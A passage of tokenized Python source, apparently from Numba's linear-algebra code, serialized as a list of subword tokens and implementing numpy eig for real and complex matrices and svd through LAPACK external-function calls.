"(_", "a_", ",_", "\"", "eig", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "numb", "a", "\\u", "ez", "\\u", "rge", "ev", "\\u", "sig_", "=_", "types_", "._", "int", "c_", "(_", "types_", "._", "char_", ",_", "#", " ", "kind_", "\\u\\u\\uNL\\u\\u\\u_", "types_", "._", "char_", ",_", "#", " ", "job", "vl_", "\\u\\u\\uNL\\u\\u\\u_", "types_", "._", "char_", ",_", "#", " ", "job", "vr_", "\\u\\u\\uNL\\u\\u\\u_", "types_", "._", "intp", "_", ",_", "#", " ", "n_", "\\u\\u\\uNL\\u\\u\\u_", "types_", "._", "CP", "oint", "er_", "(_", "a_", "._", "dtype_", ")_", ",_", "#", " ", "a_", "\\u\\u\\uNL\\u\\u\\u_", "types_", "._", "intp", "_", ",_", "#", " ", "lda", "_", "\\u\\u\\uNL\\u\\u\\u_", "types_", "._", "CP", "oint", "er_", "(_", "a_", "._", "dtype_", ")_", ",_", "#", " ", "wr_", "\\u\\u\\uNL\\u\\u\\u_", "types_", "._", "CP", "oint", "er_", "(_", "a_", "._", "dtype_", ")_", ",_", "#", " ", "wi", "_", "\\u\\u\\uNL\\u\\u\\u_", "types_", "._", "CP", "oint", "er_", "(_", "a_", "._", "dtype_", ")_", ",_", "#", " ", "vl_", "\\u\\u\\uNL\\u\\u\\u_", "types_", "._", "intp", "_", ",_", "#", " ", "ld", "vl_", "\\u\\u\\uNL\\u\\u\\u_", "types_", "._", "CP", "oint", "er_", "(_", "a_", "._", "dtype_", ")_", ",_", "#", " ", "vr_", "\\u\\u\\uNL\\u\\u\\u_", "types_", "._", "intp", "_", "#", " ", "ld", "vr_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "numb", "a", "\\u", "ez", "\\u", "rge", "ev_", "=_", "types_", "._", "Exter", "nal", "Function_", "(_", "\"", "numb", "a", "\\u", "ez", "\\u", "rge", "ev", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "numb", "a", "\\u", "ez", "\\u", "rge", "ev", "\\u", "sig_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "numb", "a", "\\u", "ez", "\\u", "cg", "ee", "v", "\\u", "sig_", "=_", "types_", "._", "int", "c_", "(_", "types_", "._", "char_", ",_", "#", " ", "kind_", "\\u\\u\\uNL\\u\\u\\u_", "types_", "._", "char_", ",_", "#", " ", "job", "vl_", "\\u\\u\\uNL\\u\\u\\u_", "types_", "._", "char_", ",_", "#", " ", "job", "vr_", "\\u\\u\\uNL\\u\\u\\u_", "types_", "._", "intp", "_", ",_", "#", " ", "n_", "\\u\\u\\uNL\\u\\u\\u_", "types_", "._", "CP", "oint", "er_", "(_", "a_", "._", "dtype_", ")_", ",_", "#", " ", "a_", "\\u\\u\\uNL\\u\\u\\u_", "types_", "._", "intp", "_", ",_", "#", " ", "lda", "_", "\\u\\u\\uNL\\u\\u\\u_", "types_", "._", "CP", "oint", "er_", "(_", "a_", "._", "dtype_", ")_", ",_", "#", " ", "w_", "\\u\\u\\uNL\\u\\u\\u_", "types_", "._", "CP", "oint", "er_", "(_", "a_", "._", "dtype_", ")_", ",_", "#", " ", "vl_", "\\u\\u\\uNL\\u\\u\\u_", "types_", "._", "intp", "_", ",_", "#", " ", "ld", "vl_", "\\u\\u\\uNL\\u\\u\\u_", "types_", "._", "CP", "oint", "er_", "(_", "a_", "._", "dtype_", ")_", ",_", "#", " ", "vr_", "\\u\\u\\uNL\\u\\u\\u_", "types_", "._", "intp", "_", "#", " ", "ld", "vr_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "numb", "a", "\\u", "ez", "\\u", "cg", "ee", "v_", "=_", "types_", "._", "Exter", "nal", "Function_", "(_", "\"", "numb", "a", "\\u", "ez", "\\u", "cg", "ee", "v", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "numb", "a", "\\u", "ez", "\\u", "cg", "ee", "v", "\\u", "sig_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "kind_", "=_", "ord_", "(_", "get", "\\u", "bla", "s", "\\u", "kind_", "(_", "a_", "._", "dtype_", ",_", "\"", "eig", "\"_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "JOB", "VL", "_", "=_", "ord_", "(_", "'", "N", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "JOB", "VR", "_", "=_", "ord_", "(_", "'", "V", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "F", "\\u", "layout_", "=_", "a_", "._", "layout_", "==_", "'", "F", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "real", "\\u", "eig", "\\u", "impl_", "(_", "a_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "eig", "()", " ", "implementation", " ", "for", " ", "real", " ", "arrays", ".", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "n_", "=_", "a_", "._", "shape_", "[_", "-_", "1_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "a_", "._", "shape_", "[_", "-_", "2_", "]_", "!=_", "n_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "msg_", "=_", "\"", "Las", "t", " ", "2", " ", "dimension", "s", " ", "of", " ", "the", " ", "array", " ", "must", " ", "be", " ", "square", ".\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "raise_", "numpy_", "._", "linalg_", "._", "Lin", "Alg", "Error_", "(_", "msg_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u", "check", "\\u", "finite", "\\u", "matrix_", "(_", "a_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "F", "\\u", "layout_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "ac", "py_", "=_", "numpy_", "._", "copy_", "(_", "a_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "ac", "py_", "=_", "numpy_", "._", "asf", "ort", "ran", "array_", "(_", "a_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "ld", "vl_", "=_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "ld", "vr_", "=_", "n_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "wr_", "=_", "numpy_", "._", "empty_", "(_", "n_", ",_", "dtype_", "=_", "a_", "._", "dtype_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "wi", "_", "=_", "numpy_", "._", "empty_", "(_", "n_", ",_", "dtype_", "=_", "a_", "._", "dtype_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "vl_", "=_", "numpy_", "._", "empty_", "(_", "(_", "ld", "vl_", ",_", "n_", ")_", ",_", "dtype_", "=_", "a_", "._", "dtype_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "vr_", "=_", "numpy_", "._", "empty_", "(_", "(_", "ld", "vr_", ",_", "n_", ")_", ",_", "dtype_", "=_", "a_", "._", "dtype_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "r_", "=_", "numb", "a", "\\u", "ez", "\\u", "rge", "ev_", "(_", "kind_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "JOB", "VL", "_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "JOB", "VR", "_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "n_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "ac", "py_", "._", "ctypes_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "n_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "wr_", "._", "ctypes_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "wi", "_", "._", "ctypes_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "vl_", "._", "ctypes_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "ld", "vl_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "vr_", "._", "ctypes_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "ld", "vr_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "r_", "<_", "0_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "fat", "al", "\\u", "error", "\\u", "func_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert_", "0_", "#", " ", "unreachable", "_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "By", " ", "design", " ", "numb", "a", " ", "doe", "s", " ", "not", " ", "support", " ", "dynami", "c", " ", "return", " ", "types", ",", " ", "how", "ever", ",_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Num", "py", " ", "doe", "s", ".", " ", "Num", "py", " ", "use", "s", " ", "this", " ", "abilit", "y", " ", "in", " ", "the", " ", "case", " ", "of", " ", "return", "ing_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "eigenvalues", "/", "vector", "s", " ", "of", " ", "a", " ", "real", " ", "matrix", ".", " ", "The", " ", "return", " ", "type", " ", "of_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "np", ".", "linalg", ".", "eig", "()", ",", " ", "whe", "n", " ", "operati", "ng", " ", "on", " ", "a", " ", "matrix", " ", "in", " ", "real", " ", "space_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "depend", "s", " ", "on", " ", "the", " ", "values", " ", "presen", "t", " ", "in", " ", "the", " ", "matrix", " ", "its", "elf", " ", "(", "reca", "llin", "g_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "tha", "t", " ", "eigenvalues", " ", "are", " ", "the", " ", "root", "s", " ", "of", " ", "the", " ", "characteristic", " ", "polynomial", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "of", " ", "the", " ", "system", " ", "matrix", ",", " ", "whi", "ch", " ", "will", " ", "by", " ", "constructi", "on", " ", "depend", " ", "on", " ", "the_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "values", " ", "presen", "t", " ", "in", " ", "the", " ", "system", " ", "matrix", ").", " ", "As", " ", "numb", "a", " ", "cann", "ot", " ", "handle_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "the", " ", "case", " ", "of", " ", "a", " ", "runt", "ime", " ", "decision", " ", "based", " ", "domain", " ", "change", " ", "relative", " ", "to_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "the", " ", "input", " ", "type", ",", " ", "if", " ", "it", " ", "is", " ", "require", "d", " ", "numb", "a", " ", "raise", "s", " ", "as", " ", "belo", "w", "._", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "numpy_", "._", "any_", "(_", "wi", "_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "Value", "Error_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "eig", "()", " ", "argu", "ment", " ", "must", " ", "not", " ", "caus", "e", " ", "a", " ", "domain", " ", "change", ".\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "put", " ", "these", " ", "in", " ", "to", " ", "help", " ", "with", " ", "live", "ness", " ", "analys", "is", ",_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "`.", "ctype", "s", "`", " ", "doe", "sn", "'", "t", " ", "keep", " ", "the", " ", "vars", " ", "alive_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "ac", "py_", "._", "size_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "vl_", "._", "size_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "vr_", "._", "size_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "wr_", "._", "size_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "wi", "_", "._", "size_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "(_", "wr_", ",_", "vr_", "._", "T_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "cmp", "lx", "\\u", "eig", "\\u", "impl_", "(_", "a_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "eig", "()", " ", "implementation", " ", "for", " ", "complex", " ", "arrays", ".", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "n_", "=_", "a_", "._", "shape_", "[_", "-_", "1_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "a_", "._", "shape_", "[_", "-_", "2_", "]_", "!=_", "n_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "msg_", "=_", "\"", "Las", "t", " ", "2", " ", "dimension", "s", " ", "of", " ", "the", " ", "array", " ", "must", " ", "be", " ", "square", ".\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "raise_", "numpy_", "._", "linalg_", "._", "Lin", "Alg", "Error_", "(_", "msg_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u", "check", "\\u", "finite", "\\u", "matrix_", "(_", "a_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "F", "\\u", "layout_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "ac", "py_", "=_", "numpy_", "._", "copy_", "(_", "a_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "ac", "py_", "=_", "numpy_", "._", "asf", "ort", "ran", "array_", "(_", "a_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "ld", "vl_", "=_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "ld", "vr_", "=_", "n_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "w_", "=_", "numpy_", "._", "empty_", "(_", "n_", ",_", "dtype_", "=_", "a_", "._", "dtype_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "vl_", "=_", "numpy_", "._", "empty_", "(_", "(_", "ld", "vl_", ",_", "n_", ")_", ",_", "dtype_", "=_", "a_", "._", "dtype_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "vr_", "=_", "numpy_", "._", "empty_", "(_", "(_", "ld", "vr_", ",_", "n_", ")_", ",_", "dtype_", "=_", "a_", "._", "dtype_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "r_", "=_", "numb", "a", "\\u", "ez", "\\u", "cg", "ee", "v_", "(_", "kind_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "JOB", "VL", "_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "JOB", "VR", "_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "n_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "ac", "py_", "._", "ctypes_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "n_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "w_", "._", "ctypes_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "vl_", "._", "ctypes_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "ld", "vl_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "vr_", "._", "ctypes_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "ld", "vr_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "r_", "<_", "0_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "fat", "al", "\\u", "error", "\\u", "func_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert_", "0_", "#", " ", "unreachable", "_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "put", " ", "these", " ", "in", " ", "to", " ", "help", " ", "with", " ", "live", "ness", " ", "analys", "is", ",_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "`.", "ctype", "s", "`", " ", "doe", "sn", "'", "t", " ", "keep", " ", "the", " ", "vars", " ", "alive_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "ac", "py_", "._", "size_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "vl_", "._", "size_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "vr_", "._", "size_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "w_", "._", "size_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "(_", "w_", ",_", "vr_", "._", "T_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "isinstance_", "(_", "a_", "._", "dtype_", ",_", "types_", "._", "scalars", "_", "._", "Complex_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "cmp", "lx", "\\u", "eig", "\\u", "impl_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "real", "\\u", "eig", "\\u", "impl_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "overload", "_", "(_", "numpy_", "._", "linalg_", "._", "svd_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "svd", "\\u", "impl_", "(_", "a_", ",_", "full", "\\u", "matrices_", "=_", "1_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "ensure", "\\u", "lap", "ack_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u", "check", "\\u", "linalg", "\\u", "matrix_", "(_", "a_", ",_", "\"", "svd", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "F", "\\u", "layout_", "=_", "a_", "._", "layout_", "==_", "'", "F", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "convert", " ", "typ", "ing", " ", "float", "s", " ", "to", " ", "nump", "y", " ", "float", "s", " ", "for", " ", "use", " ", "in", " ", "the", " ", "impl_", "\\u\\u\\uNL\\u\\u\\u_", "s", "\\u", "type_", "=_", "getattr_", "(_", "a_", "._", "dtype_", ",_", "\"", "underl", "ying", "\\u", "float", "\"_", ",_", "a_", "._", "dtype_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "s", "\\u", "type_", "._", "bit", "width_", "==_", "32_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "s", "\\u", "dtype_", "=_", "numpy_", "._", "float32_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "s", "\\u", "dtype_", "=_", "numpy_", "._", "float64_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "numb", "a", "\\u", "ez", "\\u", "ges", "dd", "\\u", "sig_", "=_", "types_", "._", "int", "c_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "types_", "._", "char_", ",_", "#", " ", "kind_", "\\u\\u\\uNL\\u\\u\\u_", "types_", "._", "char_", ",_", "#", " ", "job", "z_", "\\u\\u\\uNL\\u\\u\\u_", "types_", "._", "intp", "_", ",_", "#", " ", "m_", "\\u\\u\\uNL\\u\\u\\u_", "types_", "._", "intp", "_", ",_", "#", " ", "n_", "\\u\\u\\uNL\\u\\u\\u_", "types_", "._", "CP", "oint", "er_", "(_", "a_", "._", "dtype_", ")_", ",_", "#", " ", "a_", "\\u\\u\\uNL\\u\\u\\u_", "types_", "._", "intp", "_", ",_", "#", " ", "lda", "_", "\\u\\u\\uNL\\u\\u\\u_", "types_", "._", "CP", "oint", "er_", "(_", "s", "\\u", "type_", ")_", ",_", "#", " ", "s_", "\\u\\u\\uNL\\u\\u\\u_", "types_", "._", "CP", "oint", "er_", "(_", "a_", "._", "dtype_", ")_", ",_", "#", " ", "u_", "\\u\\u\\uNL\\u\\u\\u_", "types_", "._", "intp", "_", ",_", "#", " ", "ld", "u_", "\\u\\u\\uNL\\u\\u\\u_", "types_", "._", "CP", "oint", "er_", "(_", "a_", "._", "dtype_", ")_", ",_", "#", " ", "vt_", "\\u\\u\\uNL\\u\\u\\u_", "types_", "._", "intp", "_", "#", " ", "ld", "vt_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "numb", "a", "\\u", "ez", "\\u", "ges", "dd_", "=_", "types_", "._", "Exter", "nal", "Function_", "(_", "\"", "numb", "a", "\\u", "ez", "\\u", "ges", "dd", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "numb", "a", "\\u", "ez", "\\u", "ges", "dd", "\\u", "sig_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "kind_", "=_", "ord_", "(_", "get", "\\u", "bla", "s", "\\u", "kind_", "(_", "a_", "._", "dtype_", ",_", "\"", "svd", "\"_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "JOB", "Z", "\\u", "A_", "=_", "ord_", "(_", "'", "A", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "JOB", "Z", "\\u", "S_", "=_", "ord_", "(_", "'", "S", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "svd", "\\u", "impl_", "(_", "a_", ",_", "full", "\\u", "matrices_", "=_", "1_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "n_", "=_", "a_", "._", "shape_", "[_", "-_", "1_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "m_", "=_", "a_", "._", "shape_", "[_", "-_", "2_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u", "check", "\\u", "finite", "\\u", "matrix_", "(_", "a_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "F", "\\u", "layout_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "ac", "py_", "=_", "numpy_", "._", "copy_", "(_", "a_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "ac", "py_", "=_", "numpy_", "._", "asf", "ort", "ran", "array_", "(_", "a_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "ld", "u_", "=_", "m_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "min", "mn_", "=_", "min_", "(_", "m_", ",_", "n_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "full", "\\u", "matrices_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "JOB", "Z_", "=_", "JOB", "Z", "\\u", "A_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "uco", "l_", "=_", "m_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "ld", "vt_", "=_", "n_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "JOB", "Z_", "=_", "JOB", "Z", "\\u", "S_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "uco", "l_", "=_", "min", "mn_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "ld", "vt_", "=_", "min", "mn_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "u_", "=_", "numpy_", "._", "empty_", "(_", "(_", "uco", "l_", ",_", "ld", "u_", ")_", ",_", "dtype_", "=_", "a_", "._", "dtype_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "s_", "=_", "numpy_", "._", "empty_", "(_", "min", "mn_", ",_", "dtype_", "=_", "s", "\\u", "dtype_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "vt_", "=_", "numpy_", "._", "empty_", "(_", "(_", "n_", ",_", "ld", "vt_", ")_", ",_", "dtype_", "=_", "a_", "._", "dtype_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "r_", "=_", "numb", "a", "\\u", "ez", "\\u", "ges", "dd_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "kind_", ",_", "#", " ", "kind_", "\\u\\u\\uNL\\u\\u\\u_", "JOB", "Z_", ",_", "#", " ", "job", "z_", "\\u\\u\\uNL\\u\\u\\u_", "m_", ",_", "#", " ", "m_", "\\u\\u\\uNL\\u\\u\\u_", "n_", ",_", "#", " ", "n_", "\\u\\u\\uNL\\u\\u\\u_", "ac", "py_", "._", "ctypes_", ",_", "#", " ", "a_", "\\u\\u\\uNL\\u\\u\\u_", "m_", ",_", "#", " ", "lda", "_", "\\u\\u\\uNL\\u\\u\\u_", "s_", "._", "ctypes_", ",_", "#", " ", "s_", "\\u\\u\\uNL\\u\\u\\u_", "u_", "._", "ctypes_", ",_", "#", " ", "u_", "\\u\\u\\uNL\\u\\u\\u_", "ld", "u_", ",_", "#", " ", "ld", "u_", "\\u\\u\\uNL\\u\\u\\u_", "vt_", "._", "ctypes_", ",_", "#", " ", "vt_", "\\u\\u\\uNL\\u\\u\\u_", "ld", "vt_", "#", " ", "ld", "vt_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "r_", "<_", "0_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "fat", "al", "\\u", "error", "\\u", "func_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert_", "0_", "#", " ", "unreachable", "_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "help", " ", "live", "ness", " ", "analysis_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "ac", "py_", "._", "size_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "vt_", "._", "size_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "u_", "._", "size_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "s_", "._", "size_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "return_", "(_", "u_", "._", "T_", ",_", "s_", ",_", "vt_", "._", "T_", ")_", 